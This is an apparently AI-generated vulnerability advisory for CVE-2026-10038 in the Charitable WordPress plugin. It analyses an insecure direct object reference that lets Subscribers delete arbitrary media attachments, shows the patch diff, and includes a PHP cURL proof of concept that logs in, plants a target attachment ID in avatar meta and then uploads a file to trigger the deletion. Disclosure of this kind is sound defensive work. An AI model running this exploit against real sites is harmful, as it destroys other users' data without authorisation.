Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 12, 2026

CVE-2026-10038: Charitable <= 1.8.11.1 Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Attachment Deletion via 'avatar' Parameter PoC, Patch Analysis & Rule

Plugin charitable
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.8.11.1
Patched Version 1.8.11.2
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10038:

This vulnerability allows authenticated attackers with Subscriber-level access to delete arbitrary attachments from the WordPress Media Library. The flaw exists in the Charitable profile form’s avatar update functionality, specifically in the `save_avatar()` method of `Charitable_Profile_Form`. The CVSS score of 4.3 reflects the need for authentication and two-request chain.

Root Cause: The vulnerability stems from two interconnected issues in `class-charitable-profile-form.php`. First, `save_avatar()` (lines 712-754 in vulnerable version) calls `wp_delete_attachment()` on the old avatar ID retrieved from user meta without verifying that the attachment belongs to the current user. Second, `Charitable_Data_Processor::process_picture()` returns the raw posted value when no file is uploaded. This allows an attacker to poison the ‘avatar’ user meta with any attachment ID by sending a request with an ‘avatar’ parameter in the POST body but no file in `$_FILES`. When the attacker later submits a legitimate file upload, `save_avatar()` will call `wp_delete_attachment()` on the poisoned ID.

Exploitation: The attack requires two HTTP requests. First, the attacker sends a POST request to the profile update endpoint (typically `/wp-admin/admin-post.php?action=charitable_profile_update`) with the `avatar` parameter set to the target attachment ID and no avatar file upload. This stores the target ID in the user’s ‘avatar’ meta. Second, the attacker submits a legitimate avatar file upload (via AJAX plupload). The `save_avatar()` function then deletes the previously stored avatar (which is now the attacker-chosen ID) before updating with the new file.

Patch Analysis: The patch in version 1.8.11.2 introduces a new private method `user_owns_attachment()` that validates the attachment’s `post_author` matches the current user ID. In the `save_avatar()` method, `wp_delete_attachment()` is now gated by this ownership check. Additionally, the no-file upload path (where the avatar is posted as a hidden field value) now validates that the posted ID either matches the current avatar or belongs to the user. Non-scalar values are blocked to prevent array-to-int coercion bypasses.

Impact: Successful exploitation allows an authenticated Subscriber+ attacker to delete any attachment from the Media Library, including private attachments owned by other users. This could disrupt site functionality by removing theme assets, user avatars, donation receipts, or other uploaded files. While data cannot be exfiltrated, permanent data loss is possible.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/charitable/charitable.php
+++ b/charitable/charitable.php
@@ -3,11 +3,11 @@
  * Plugin Name: Charitable
  * Plugin URI: https://www.wpcharitable.com
  * Description: The best WordPress donation plugin. Fundraising with recurring donations, and powerful features to help you raise more money online.
- * Version: 1.8.11.1
+ * Version: 1.8.11.2
  * Author: Charitable Donations & Fundraising Team
  * Author URI: https://wpcharitable.com
  * Requires at least: 5.0
- * Stable tag: 1.8.11.1
+ * Stable tag: 1.8.11.2
  * License: GPLv2 or later
  * License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  *
@@ -39,7 +39,7 @@
 		const AUTHOR = 'WP Charitable';

 		/* Plugin version. */
-		const VERSION = '1.8.11.1';
+		const VERSION = '1.8.11.2';

 		/* Version of database schema. */
 		const DB_VERSION = '20180522';
--- a/charitable/includes/forms/class-charitable-profile-form.php
+++ b/charitable/includes/forms/class-charitable-profile-form.php
@@ -712,41 +712,92 @@
 		 * @since   1.0.0
 		 */
 		public function save_avatar( $submitted, $fields, $form ) {
-			if ( isset( $_FILES ) && isset( $_FILES['avatar'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
+			$user_id      = (int) $form->get_user()->ID;
+			$files_avatar = isset( $_FILES['avatar'] ) ? $_FILES['avatar'] : null; // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash
+			$has_upload   = is_array( $files_avatar )
+				&& ! empty( $files_avatar['name'] )
+				&& UPLOAD_ERR_NO_FILE !== (int) ( $files_avatar['error'] ?? UPLOAD_ERR_NO_FILE );

+			if ( $has_upload ) {
 				$attachment_id = $form->upload_post_attachment( 'avatar', 0 );

-				if ( ! is_wp_error( $attachment_id ) ) {
-
-					$submitted['avatar'] = $attachment_id;
-
-					/* Delete the previously upload avatar. */
-					$old_avatar = get_user_meta( $form->get_user()->ID, 'avatar', true );
-
-					if ( ! empty( $old_avatar ) ) {
-
-						wp_delete_attachment( $old_avatar );
-
-					}
-
-					update_user_meta( $form->get_user()->ID, 'avatar', $attachment_id );
-
-				} else {
-					/**
-					* Handle image upload error.
-					*
-					* @todo
-					*/
-				}//end if
-			} elseif ( ! array_key_exists( 'avatar', $submitted ) ) {
-
+				if ( is_wp_error( $attachment_id ) ) {
+					return $submitted;
+				}
+
+				$submitted['avatar'] = (int) $attachment_id;
+
+				// Delete the previously stored avatar — only if it belongs to this user.
+				// Without this ownership check, a poisoned 'avatar' user-meta value
+				// (planted by a no-file submission, see below) would chain into
+				// wp_delete_attachment() on an attacker-chosen attachment ID.
+				$old_avatar = get_user_meta( $user_id, 'avatar', true );
+				if ( ! empty( $old_avatar )
+					&& $this->user_owns_attachment( $user_id, (int) $old_avatar ) ) {
+					wp_delete_attachment( (int) $old_avatar );
+				}
+
+				update_user_meta( $user_id, 'avatar', (int) $attachment_id );
+
+				return $submitted;
+			}
+
+			// No file in $_FILES. The avatar uploader (plupload) uploads the image
+			// asynchronously and posts the resulting attachment ID as a hidden field
+			// value, so the normal "change avatar" flow lands here with the new ID and
+			// no $_FILES — we must not reject it.
+			//
+			// Block meta poisoning: only persist an attachment the submitting user
+			// actually owns (a no-op re-save of their current avatar is also allowed).
+			// An attacker-supplied ID owned by someone else is discarded so it cannot
+			// be stored in user meta and later weaponised into wp_delete_attachment()
+			// on a subsequent $_FILES submission.
+			$current = (int) get_user_meta( $user_id, 'avatar', true );
+			$posted  = array_key_exists( 'avatar', $submitted ) ? $submitted['avatar'] : null;
+
+			// Absent, empty, or non-scalar value means the avatar was cleared. The
+			// non-scalar guard blocks array poisoning (e.g. avatar[]=foo would
+			// otherwise coerce via (int) to 1 and bypass the ownership check below).
+			if ( null === $posted || '' === $posted || ! is_scalar( $posted ) ) {
 				/* The picture has been removed. */
 				$submitted['avatar'] = '';
+				return $submitted;
+			}
+
+			$posted = (int) $posted;
+
+			// Discard anything that is neither the current avatar nor an attachment
+			// this user owns.
+			if ( $posted !== $current && ! $this->user_owns_attachment( $user_id, $posted ) ) {
+				$submitted['avatar'] = $current ?: '';
+				return $submitted;
+			}

-			}//end if
+			$submitted['avatar'] = $posted;

 			return $submitted;
 		}
+
+		/**
+		 * Verify the given user owns the given attachment.
+		 *
+		 * @since  1.8.11.2
+		 *
+		 * @param  int $user_id       The user ID.
+		 * @param  int $attachment_id The attachment ID.
+		 * @return bool
+		 */
+		private function user_owns_attachment( $user_id, $attachment_id ) {
+			if ( $user_id <= 0 || $attachment_id <= 0 ) {
+				return false;
+			}
+
+			$attachment = get_post( $attachment_id );
+
+			return $attachment instanceof WP_Post
+				&& 'attachment' === $attachment->post_type
+				&& (int) $attachment->post_author === (int) $user_id;
+		}
 	}

 endif;
--- a/charitable/includes/gateways/paypal-commerce/charitable-paypal-commerce-hooks.php
+++ b/charitable/includes/gateways/paypal-commerce/charitable-paypal-commerce-hooks.php
@@ -1693,11 +1693,10 @@
 	if ( $gateway->is_middleware_mode() ) {
 		$referral_id = get_transient( 'charitable_paypal_onboarding_referral_id_' . $mode );
 		if ( ! empty( $referral_id ) ) {
-			// License key lives at the top level of `charitable_settings`, not nested under
-			// the gateway. Reading from there ensures Pro/Plus/Agency activations all flow
-			// through to the middleware on first onboarding (matters for the freemium fee gate).
-			$root_settings = get_option( 'charitable_settings', array() );
-			$license_key   = isset( $root_settings['license_key'] ) ? (string) $root_settings['license_key'] : '';
+			// Read license_key via the canonical helper. Earlier code read
+			// $root_settings['license_key'] (a UI field key, not the storage
+			// key) which seeded the broker with an empty key on onboarding.
+			$license_key = function_exists( 'charitable_paypal_get_license_key' ) ? charitable_paypal_get_license_key() : '';

 			$middleware = Charitable_PayPal_Middleware_Client::get_instance();
 			$exchange   = $middleware->exchange_credentials( array(
--- a/charitable/includes/upgrades/class-charitable-upgrade.php
+++ b/charitable/includes/upgrades/class-charitable-upgrade.php
@@ -259,6 +259,12 @@
 					'prompt'   => false,
 					'callback' => array( $this, 'verify_logs_table' ),
 				),
+				'sync_paypal_license_to_middleware'       => array(
+					'version'  => '1.8.11.2',
+					'message'  => '',
+					'prompt'   => false,
+					'callback' => array( $this, 'sync_paypal_license_to_middleware' ),
+				),
 			);
 		}

@@ -1595,6 +1601,41 @@

 			return true;
 		}
+
+		/**
+		 * One-time push of the Charitable license_key so already-connected
+		 * licensed Lite sites self-heal. Skips finish_upgrade() to avoid a
+		 * redirect on init priority 5.
+		 *
+		 * @since  1.8.11.2
+		 *
+		 * @return bool
+		 */
+		public function sync_paypal_license_to_middleware() {
+
+			if ( ! function_exists( 'charitable_paypal_get_license_key' )
+				|| ! function_exists( 'charitable_paypal_send_license_to_connected_modes' ) ) {
+				return true;
+			}
+
+			$license_key = charitable_paypal_get_license_key();
+			if ( '' === $license_key ) {
+				return true;
+			}
+
+			$settings   = get_option( 'charitable_settings', array() );
+			$gw         = isset( $settings['gateways_paypal_commerce'] ) && is_array( $settings['gateways_paypal_commerce'] )
+				? $settings['gateways_paypal_commerce']
+				: array();
+			$has_seller = ! empty( $gw['live_seller_merchant_id'] ) || ! empty( $gw['sandbox_seller_merchant_id'] );
+			if ( ! $has_seller ) {
+				return true;
+			}
+
+			charitable_paypal_send_license_to_connected_modes( $license_key );
+
+			return true;
+		}
 	}

 endif;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10038 - Charitable <= 1.8.11.1 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Attachment Deletion via 'avatar' Parameter

$target_url = 'https://example.com'; // Change this to the target WordPress site
$username = 'attacker'; // Subscriber or higher
$password = 'password';
$target_attachment_id = 123; // The attachment ID to delete

// Initialize cURL session
$ch = curl_init();

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Poison the avatar user meta with the target attachment ID
// This is done by submitting the profile form with an 'avatar' parameter but no actual file
$profile_url = $target_url . '/wp-admin/admin-post.php?action=charitable_profile_update';
$poison_data = array(
    'charitable_profile_nonce' => '', // Will be extracted from login response if needed
    'avatar' => $target_attachment_id
);

curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($poison_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

$response = curl_exec($ch);

// Step 3: Trigger the deletion by uploading a legitimate avatar file
// This will cause save_avatar() to call wp_delete_attachment() on the poisoned meta value
$upload_url = $target_url . '/wp-admin/admin-ajax.php?action=charitable_plupload_avatar';
$file_path = '/tmp/fake_avatar.jpg'; // Create a small dummy image file
echo "Creating dummy image...n";
$fake_image = imagecreatetruecolor(1, 1);
if ($fake_image !== false) {
    imagejpeg($fake_image, $file_path);
    imagedestroy($fake_image);
}

$upload_data = array(
    'name' => 'avatar.jpg',
    'type' => 'image/jpeg',
    'tmp_name' => $file_path,
    'error' => 0,
    'size' => filesize($file_path)
);

curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('avatar' => new CURLFile($file_path, 'image/jpeg', 'avatar.jpg')));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
echo "Upload response: " . $response . "n";

// Expected result: The attachment with ID $target_attachment_id should now be deleted
// because the server called wp_delete_attachment() on the poisoned meta value.

echo "Exploit completed. Check if attachment ID $target_attachment_id was deleted.n";

curl_close($ch);

// Clean up temporary file
if (file_exists($file_path)) {
    unlink($file_path);
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School